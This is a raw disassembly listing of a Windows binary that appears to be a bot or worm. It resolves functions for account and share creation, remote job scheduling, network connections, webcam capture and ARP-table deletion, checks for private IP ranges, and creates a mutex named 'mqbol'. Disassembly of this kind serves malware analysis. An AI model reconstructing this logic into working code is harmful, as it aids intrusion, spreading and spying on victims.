		cmp	dword_445344, ebx
		jz	loc_401CB5
		cmp	dword_445278, ebx
		jz	short loc_401CB5
		cmp	dword_445398, ebx
		jz	short loc_401CB5
		cmp	dword_4453AC, ebx
		jz	short loc_401CB5
		cmp	dword_445360, ebx
		jz	short loc_401CB5
		cmp	dword_445320, ebx
		jz	short loc_401CB5
		cmp	dword_445374, ebx
		jz	short loc_401CB5
		cmp	dword_445330, ebx
		jz	short loc_401CB5
		cmp	dword_445370, ebx
		jz	short loc_401CB5
		cmp	dword_4453DC, ebx
		jz	short loc_401CB5
		cmp	dword_445328, ebx
		jz	short loc_401CB5
		cmp	dword_4452EC, ebx
		jz	short loc_401CB5
		cmp	dword_44535C, ebx
		jz	short loc_401CB5
		cmp	dword_4453CC, ebx
		jz	short loc_401CB5
		cmp	dword_445300, ebx
		jz	short loc_401CB5
		cmp	eax, ebx
		jnz	short loc_401CBF
		jmp	short loc_401CB5
; ---------------------------------------------------------------------------


loc_401CAA:				; CODE XREF: sub_4014E0+51Fj
		nop
		call	near ptr 26908EFh
		mov	dword_44542C, eax


loc_401CB5:				; CODE XREF: sub_4014E0+6BEj
					; sub_4014E0+6CAj ...
		mov	dword_445428, 1


loc_401CBF:				; CODE XREF: sub_4014E0+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401DC4
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_445284, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_44520C, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_445310, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4452BC, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_44531C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4452E0, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_44524C, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_445244, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_445254, eax
		call	esi
		cmp	dword_445284, ebx
		mov	ecx, dword_4452E0
		mov	dword_44537C, eax
		jz	short loc_401DA0
		cmp	dword_44520C, ebx
		jz	short loc_401DA0
		cmp	dword_445310, ebx
		jz	short loc_401DA0
		cmp	dword_4452BC, ebx
		jz	short loc_401DA0
		cmp	dword_44531C, ebx
		jz	short loc_401DA0
		cmp	ecx, ebx
		jz	short loc_401DA0
		cmp	dword_44524C, ebx
		jz	short loc_401DA0
		cmp	dword_445244, ebx
		jz	short loc_401DA0
		cmp	dword_445254, ebx
		jz	short loc_401DA0
		cmp	eax, ebx
		jnz	short loc_401DAA


loc_401DA0:				; CODE XREF: sub_4014E0+87Ej
					; sub_4014E0+886j ...
		mov	dword_445430, 1


loc_401DAA:				; CODE XREF: sub_4014E0+8BEj
		cmp	ecx, ebx
		jz	short loc_401DDF
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4452F8, eax
		jnz	short loc_401DDF
		jmp	short loc_401DD9
; ---------------------------------------------------------------------------


loc_401DC4:				; CODE XREF: sub_4014E0+7EAj
		nop
		call	near ptr 26908EFh
		mov	dword_445434, eax
		mov	dword_445430, 1


loc_401DD9:				; CODE XREF: sub_4014E0+8E2j
		mov	dword_4452F8, ebx


loc_401DDF:				; CODE XREF: sub_4014E0+8CCj
					; sub_4014E0+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401E29
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4452D0, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_445400, eax
		call	esi
		cmp	dword_4452D0, ebx
		mov	dword_445260, eax
		jz	short loc_401E34
		cmp	dword_445400, ebx
		jz	short loc_401E34
		cmp	eax, ebx
		jnz	short loc_401E3E
		jmp	short loc_401E34
; ---------------------------------------------------------------------------


loc_401E29:				; CODE XREF: sub_4014E0+90Aj
		nop
		call	near ptr 26908EFh
		mov	dword_44543C, eax


loc_401E34:				; CODE XREF: sub_4014E0+939j
					; sub_4014E0+941j ...
		mov	dword_445438, 1


loc_401E3E:				; CODE XREF: sub_4014E0+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401F45
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_44523C, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_445214, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_44528C, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4452C0, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4453D8, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_445274, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_445220, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_445210, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4452A8, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4453A0, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_445358, eax
		call	esi
		cmp	dword_44523C, ebx
		mov	dword_44527C, eax
		jz	short loc_401F50
		cmp	dword_445214, ebx
		jz	short loc_401F50
		cmp	dword_44528C, ebx
		jz	short loc_401F50
		cmp	dword_4452C0, ebx
		jz	short loc_401F50
		cmp	dword_4453D8, ebx
		jz	short loc_401F50
		cmp	dword_445274, ebx
		jz	short loc_401F50
		cmp	dword_445220, ebx
		jz	short loc_401F50
		cmp	dword_445210, ebx
		jz	short loc_401F50
		cmp	dword_4452A8, ebx
		jz	short loc_401F50
		cmp	dword_4453A0, ebx
		jz	short loc_401F50
		cmp	dword_445358, ebx
		jnz	short loc_401F5A
		jmp	short loc_401F50
; ---------------------------------------------------------------------------


loc_401F45:				; CODE XREF: sub_4014E0+969j
		call	near ptr 26908EFh
		nop
		mov	dword_445444, eax


loc_401F50:				; CODE XREF: sub_4014E0+A11j
					; sub_4014E0+A19j ...
		mov	dword_445440, 1


loc_401F5A:				; CODE XREF: sub_4014E0+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401F8F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_445264, eax
		call	esi
		cmp	dword_445264, ebx
		mov	dword_445340, eax
		jz	short loc_401F9A
		cmp	eax, ebx
		jnz	short loc_401FA4
		jmp	short loc_401F9A
; ---------------------------------------------------------------------------


loc_401F8F:				; CODE XREF: sub_4014E0+A85j
		call	near ptr 26908EFh
		nop
		mov	dword_44544C, eax


loc_401F9A:				; CODE XREF: sub_4014E0+AA7j
					; sub_4014E0+AADj
		mov	dword_445448, 1


loc_401FA4:				; CODE XREF: sub_4014E0+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401FD9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4453C4, eax
		call	esi
		cmp	dword_4453C4, ebx
		mov	dword_4453C0, eax
		jz	short loc_401FE4
		cmp	eax, ebx
		jnz	short loc_401FEE
		jmp	short loc_401FE4
; ---------------------------------------------------------------------------


loc_401FD9:				; CODE XREF: sub_4014E0+ACFj
		nop
		call	near ptr 26908EFh
		mov	dword_445454, eax


loc_401FE4:				; CODE XREF: sub_4014E0+AF1j
					; sub_4014E0+AF7j
		mov	dword_445450, 1


loc_401FEE:				; CODE XREF: sub_4014E0+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40204D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4453F0, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4453E8, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4453B0, eax
		call	esi
		cmp	dword_4453F0, ebx
		mov	dword_445280, eax
		jz	short loc_402058
		cmp	dword_4453E8, ebx
		jz	short loc_402058
		cmp	dword_4453B0, ebx
		jz	short loc_402058
		cmp	eax, ebx
		jnz	short loc_402062
		jmp	short loc_402058
; ---------------------------------------------------------------------------


loc_40204D:				; CODE XREF: sub_4014E0+B19j
		nop
		call	near ptr 26908EFh
		mov	dword_44545C, eax


loc_402058:				; CODE XREF: sub_4014E0+B55j
					; sub_4014E0+B5Dj ...
		mov	dword_445458, 1


loc_402062:				; CODE XREF: sub_4014E0+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_402097
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4452B4, eax
		call	esi
		cmp	dword_4452B4, ebx
		mov	dword_4453BC, eax
		jz	short loc_4020A2
		cmp	eax, ebx
		jnz	short loc_4020AC
		jmp	short loc_4020A2
; ---------------------------------------------------------------------------


loc_402097:				; CODE XREF: sub_4014E0+B8Dj
		nop
		call	near ptr 26908EFh
		mov	dword_445464, eax


loc_4020A2:				; CODE XREF: sub_4014E0+BAFj
					; sub_4014E0+BB5j
		mov	dword_445460, 1


loc_4020AC:				; CODE XREF: sub_4014E0+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_402135
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_445384, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4453D0, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_44530C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4452C4, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_445364, eax
		call	esi
		cmp	dword_445384, ebx
		mov	dword_4452D4, eax
		jz	short loc_402140
		cmp	dword_4453D0, ebx
		jz	short loc_402140
		cmp	dword_44530C, ebx
		jz	short loc_402140
		cmp	dword_4452C4, ebx
		jz	short loc_402140
		cmp	dword_445364, ebx
		jz	short loc_402140
		cmp	eax, ebx
		jnz	short loc_40214A
		jmp	short loc_402140
; ---------------------------------------------------------------------------


loc_402135:				; CODE XREF: sub_4014E0+BD7j
		call	near ptr 26908EFh
		nop
		mov	dword_44546C, eax


loc_402140:				; CODE XREF: sub_4014E0+C2Dj
					; sub_4014E0+C35j ...
		mov	dword_445468, 1


loc_40214A:				; CODE XREF: sub_4014E0+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40217F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_445298, eax
		call	esi
		cmp	dword_445298, ebx
		mov	dword_445378, eax
		jz	short loc_40218A
		cmp	eax, ebx
		jnz	short loc_402194
		jmp	short loc_40218A
; ---------------------------------------------------------------------------


loc_40217F:				; CODE XREF: sub_4014E0+C75j
		nop
		call	near ptr 26908EFh
		mov	dword_445474, eax


loc_40218A:				; CODE XREF: sub_4014E0+C97j
					; sub_4014E0+C9Dj
		mov	dword_445470, 1


loc_402194:				; CODE XREF: sub_4014E0+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4014E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40219C	proc near		; CODE XREF: sub_403038+3991p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_445408, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4021E4
		push	dword_44540C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_4021E4:				; CODE XREF: sub_40219C+1Aj
		cmp	dword_445410, esi
		jz	short loc_402218
		push	dword_445414
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_402218:				; CODE XREF: sub_40219C+4Ej
		cmp	dword_445418, esi
		jz	short loc_40224C
		push	dword_44541C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_40224C:				; CODE XREF: sub_40219C+82j
		cmp	dword_445420, esi
		jz	short loc_402280
		push	dword_445424
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_402280:				; CODE XREF: sub_40219C+B6j
		cmp	dword_445428, esi
		jz	short loc_4022B4
		push	dword_44542C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_4022B4:				; CODE XREF: sub_40219C+EAj
		cmp	dword_445430, esi
		jz	short loc_4022E8
		push	dword_445434
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_4022E8:				; CODE XREF: sub_40219C+11Ej
		cmp	dword_445438, esi
		jz	short loc_40231C
		push	dword_44543C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_40231C:				; CODE XREF: sub_40219C+152j
		cmp	dword_445440, esi
		jz	short loc_402350
		push	dword_445444
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_402350:				; CODE XREF: sub_40219C+186j
		cmp	dword_445448, esi
		jz	short loc_402384
		push	dword_44544C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_402384:				; CODE XREF: sub_40219C+1BAj
		cmp	dword_445450, esi
		jz	short loc_4023B8
		push	dword_445454
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_4023B8:				; CODE XREF: sub_40219C+1EEj
		cmp	dword_445458, esi
		jz	short loc_4023EC
		push	dword_44545C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_4023EC:				; CODE XREF: sub_40219C+222j
		cmp	dword_445460, esi
		jz	short loc_402420
		push	dword_445464
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_402420:				; CODE XREF: sub_40219C+256j
		cmp	dword_445468, esi
		jz	short loc_402454
		push	dword_44546C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_402454:				; CODE XREF: sub_40219C+28Aj
		cmp	dword_445470, esi
		jz	short loc_402488
		push	dword_445474
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h


loc_402488:				; CODE XREF: sub_40219C+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_436AF0
		push	eax
		call	sub_4171D0
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4024B5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 14h


loc_4024B5:				; CODE XREF: sub_40219C+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_410557
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40219C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	dword ptr [ebp+8], 0
		push	esi
		jz	loc_40255C
		push	offset dword_44548C
		push	dword ptr [ebp+8]
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40255C
		push	20h
		lea	eax, [ebp-20h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_417770
		lea	eax, [ebp-20h]
		push	offset a__3	; "."
		push	eax
		call	sub_417620
		add	esp, 14h
		test	eax, eax
		jz	short loc_40255C
		push	eax
		call	sub_4174D0
		mov	dword ptr [esp], offset	a__4 ; "."
		push	0
		mov	esi, eax
		call	sub_417620
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40255C
		push	eax
		call	sub_4174D0
		cmp	esi, 0Ah
		pop	ecx
		jz	short loc_402557
		cmp	esi, 0ACh
		jnz	short loc_402548
		cmp	eax, 0Fh
		jle	short loc_40255C
		cmp	eax, 20h
		jl	short loc_402557


loc_402548:				; CODE XREF: ___:0040253Cj
		cmp	esi, 0C0h
		jnz	short loc_40255C
		cmp	eax, 0A8h
		jnz	short loc_40255C


loc_402557:				; CODE XREF: ___:00402534j
					; ___:00402546j
		push	1
		pop	eax
		jmp	short loc_40255E
; ---------------------------------------------------------------------------


loc_40255C:				; CODE XREF: ___:004024D2j
					; ___:004024E9j ...
		xor	eax, eax


loc_40255E:				; CODE XREF: ___:0040255Aj
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402561	proc near		; CODE XREF: sub_402D58+4Fp
					; sub_403038+483Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_445388
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_402589
		push	[esp+arg_0]
		call	dword_4453CC
		test	eax, eax
		jnz	short loc_402582
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_402582:				; CODE XREF: sub_402561+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_402589:				; CODE XREF: sub_402561+Dj
		retn
sub_402561	endp


; =============== S U B	R O U T	I N E =======================================



sub_40258A	proc near		; CODE XREF: sub_402D58+D6p
		mov	ecx, dword_445264
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_402598
		call	ecx

locret_402598:				; CODE XREF: sub_40258A+Aj
		retn
sub_40258A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402599	proc near		; CODE XREF: sub_403038:loc_40690Fp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4453C4
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_402665
		sub	ecx, 32h
		jz	loc_40265E
		sub	ecx, 48h
		jz	short loc_4025F9
		sub	ecx, 6Eh
		jz	short loc_4025F2
		push	eax
		push	offset unk_436BC8


loc_4025E1:				; CODE XREF: sub_402599+91j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		jmp	short loc_40263F
; ---------------------------------------------------------------------------


loc_4025F2:				; CODE XREF: sub_402599+40j
		push	offset unk_436B74
		jmp	short loc_402631
; ---------------------------------------------------------------------------


loc_4025F9:				; CODE XREF: sub_402599+3Bj
		push	[ebp+var_8]
		call	sub_414DB0
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417070
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40262C
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4453C4
		cmp	eax, edi
		jz	short loc_402665
		push	eax
		push	offset unk_436B18
		jmp	short loc_4025E1
; ---------------------------------------------------------------------------


loc_40262C:				; CODE XREF: sub_402599+79j
		push	offset unk_436B44


loc_402631:				; CODE XREF: sub_402599+5Ej
					; sub_402599+CAj
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx


loc_40263F:				; CODE XREF: sub_402599+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_410557
		pop	ecx


loc_40264F:				; CODE XREF: sub_402599+CEj
					; sub_402599+E2j
		push	esi
		call	sub_415820
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40265E:				; CODE XREF: sub_402599+32j
		push	offset unk_436B98
		jmp	short loc_402631
; ---------------------------------------------------------------------------


loc_402665:				; CODE XREF: sub_402599+29j
					; sub_402599+89j
		cmp	[esi], edi
		jbe	short loc_40264F
		lea	ebx, [esi+4]


loc_40266C:				; CODE XREF: sub_402599+E0j
		push	ebx
		call	dword_4453C0
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40266C
		jmp	short loc_40264F
sub_402599	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40267D	proc near		; CODE XREF: sub_403038+36B8p
					; sub_403038+37F0p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4452EC
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_445478
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4171D0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40267D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026D6	proc near		; CODE XREF: ___:00409DACp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_4026FF
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_4026F2:				; CODE XREF: sub_4026D6+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_4026F2
		pop	edi
		jmp	short loc_402703
; ---------------------------------------------------------------------------


loc_4026FF:				; CODE XREF: sub_4026D6+Aj
		mov	edx, [esp+4+arg_0]


loc_402703:				; CODE XREF: sub_4026D6+27j
		test	esi, esi
		pop	esi
		jz	short loc_40270D
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40270D:				; CODE XREF: sub_4026D6+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_4026D6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp-4], esi
		jle	short loc_402750
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_402742:				; CODE XREF: ___:0040274Aj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_402742
		pop	edi
		cmp	eax, 1


loc_402750:				; CODE XREF: ___:00402736j
		jnz	short loc_40275D
		mov	al, [edx]
		mov	[ebp-4], al
		movzx	eax, word ptr [ebp-4]
		add	esi, eax


loc_40275D:				; CODE XREF: ___:loc_402750j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_402776:				; DATA XREF: ___:00436004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_4123FE
		pop	ecx
		mov	dword_4D3010, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_401317
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4DD304
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4D3014, eax
		call	esi
		push	eax
		call	sub_417B00
		pop	ecx
		call	sub_4014E0
		push	2
		call	dword_4453F4
		push	7530h
		push	offset aMqbol	; "mqbol"
		push	ebx
		push	ebx
		nop
		call	near ptr 26C0000h
		push	eax
		call	near ptr 26B0CCEh
		nop
		cmp	eax, 102h
		jnz	short loc_402812
		push	1
		nop
		call	near ptr 77E75CB5h


loc_402812:				; CODE XREF: ___:00402808j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4452B8
		cmp	eax, ebx
		jnz	loc_402D4F
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_402D49
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
